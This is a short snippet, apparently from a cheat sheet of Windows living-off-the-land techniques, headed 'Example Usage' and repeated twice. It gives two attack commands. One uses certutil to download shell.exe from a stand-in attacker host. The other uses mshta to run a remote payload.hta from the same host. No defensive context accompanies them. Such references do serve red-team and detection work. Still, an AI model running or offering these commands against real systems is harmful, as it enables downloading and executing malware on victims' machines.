Example Usage
# Download file with certutil: certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe # Execute with mshta: mshta.exe http://attacker.com/payload.hta
# Download file with certutil: certutil.exe -urlcache -split -f http://attacker.com/shell.exe shell.exe # Execute with mshta: mshta.exe http://attacker.com/payload.hta